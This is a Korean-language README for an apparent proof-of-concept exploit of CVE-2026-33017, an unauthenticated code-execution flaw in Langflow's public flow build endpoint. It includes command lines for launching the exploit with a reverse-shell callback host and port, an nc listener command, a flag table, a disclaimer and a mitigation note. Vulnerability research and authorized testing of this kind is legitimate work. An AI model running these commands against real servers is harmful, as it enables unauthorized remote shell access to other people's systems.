
CVE-2026-33017 Langflow RCE PoC
Langflow의 무인증 build_public_tmp 코드 실행 취약점에 대한 PoC입니다.
악성 구성 요소를 공개 플로우에 업로드하고 빌드를 트리거하여 리버스 셸을 획득합니다.
승인된 보안 테스트에만 사용하세요. 자신이 소유했거나 명시적 테스트 허가를 받은 시스템에만 사용하십시오.
requests (pip install requests)내장 리스너를 실행하고 익스플로잇을 한 번에 실행합니다:
python3 poc.py \
--url https://target:7860 \
--flow-id <public-flow-uuid> \
--lhost <your-ip> \
--lport 4444 \
--listen
셸이 연결되면 자동으로 완전한 대화형 셸로 업그레이드를 시도합니다.
자체 리스너(예: nc -lvnp 4444)를 사용하려면 --listen을 제거하세요:
python3 poc.py --url https://target:7860 --flow-id <uuid> --lhost <your-ip> --lport 4444
CVE-2026-33017은 Langflow의 POST /api/v1/build_public_tmp/{flow_id}/flow
엔드포인트에서 발생하는 무인증 RCE로, 샌드박싱 없이 플로우 노드 정의에서 공격자가 제공한 Python 코드를 실행합니다. 자세한 내용은 아래 자료를 확인하세요:
Sysdig Threat Research 분석 보고서의 완화 조치:
/api/v1/build_public_tmp 엔드포인트에 대한 네트워크 접근을 제한하거나 공개 플로우 빌드를 완전히 비활성화하세요.이 도구는 연구 및 승인된 침투 테스트를 위해 제공됩니다. 저자는 오용 또는 손해에 대해 책임을 지지 않습니다.
| 플래그 | 설명 |
|---|
--url | 대상 Langflow 서버 URL (필수) |
--flow-id | 공유된 공개 플로우의 UUID (필수) |
--lhost | 리버스 셸 콜백 IP (필수) |
--lport | 리버스 셸 콜백 포트 (필수) |
--listen | 내장 리스너 실행 |
--timeout | HTTP 요청 시간 제한(초) (기본값 30) |
-k, --insecure | TLS 인증서 검증 비활성화(자체 서명/만료 인증서) |
--no-upgrade | 자동 TTY 업그레이드 건너뛰기, 기본 라인 셸 사용 |